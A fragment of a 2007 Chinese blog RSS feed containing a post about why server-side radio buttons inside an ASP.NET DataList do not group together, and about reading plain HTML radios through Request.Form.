<img src ="http://www.cnblogs.com/mqingqing123/aggbug/955714.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42126/" target="_blank">[新闻]十年回顾：Google的互联网经济</a>]]></description></item><item><title>在DataList里放置单选按钮（Radio）</title><link>http://www.cnblogs.com/mqingqing123/archive/2007/11/07/952184.html</link><dc:creator>天天</dc:creator><author>天天</author><pubDate>Wed, 07 Nov 2007 07:01:00 GMT</pubDate><guid>http://www.cnblogs.com/mqingqing123/archive/2007/11/07/952184.html</guid><wfw:comment>http://www.cnblogs.com/mqingqing123/comments/952184.html</wfw:comment><comments>http://www.cnblogs.com/mqingqing123/archive/2007/11/07/952184.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/mqingqing123/comments/commentRss/952184.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/mqingqing123/services/trackbacks/952184.html</trackback:ping><description><![CDATA[<p><font face="Courier New">问题：当你在DataList放置Radio时，例如<br />
</font><font face="Courier New">If&nbsp;&nbsp; Radio5.Checked&nbsp;&nbsp; Then&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.Write("你选的是radio5")&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ElseIf&nbsp;&nbsp; Radio6.Checked&nbsp;&nbsp; Then&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.Write("你选的是radio6")&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ElseIf&nbsp;&nbsp; Radio7.Checked&nbsp;&nbsp; Then&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.Write("你选的是radio7")&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ElseIf&nbsp;&nbsp; Radio8.Checked&nbsp;&nbsp; Then&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.Write("你选的是radio8")&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End&nbsp;&nbsp; If&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;可能出现&#8220;找不到对象&#8221;的错误。<br />
<br />
原因：<br />
<font face="Courier New">由于DataList的内部原因（我们这里不深究），当页面发送到客户端的时候，会为它的每一个DataListItem中的控件的Name属性自动赋值。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 例如，DataList的ID为&#8220;DL&#8221;，嵌入DataList的单选按钮的Name值我们设为&#8220;radio&#8221;, 假设数据邦定后有3个DataListItem，那当页面发送到客户端的时候页面上的三个单选按钮的Name可能分别为"DL_ctl0_radio","DL_ctl1_radio","DL_ctl2_radio"。如此我们等到了三个完全不同的单选按钮，根本不可能实现三个按钮的单选效果。<br />
</font><br />
<br />
解决方法：可以使用Html里面的radio（注意：不是服务器控件，这样系统不会在控件的ID上添加额外信息），最重要的就是使用Request.Form["radioid"]&nbsp;获取（这里使用的是传统的ASP的方法），不要使用Request.QueryString["radioid"],因为它是针对服务器控件的，那样你获取的值始终是空&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; 如果把radio放到datalist的外里，就可以！！！&nbsp;&nbsp; <br />
&nbsp; 请大家帮帮忙！！！ </font></p>
<img src ="http://www.cnblogs.com/mqingqing123/aggbug/952184.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42123/" target="_blank">[新闻]Google 10周年大事记</a>]]></description></item></channel></rss>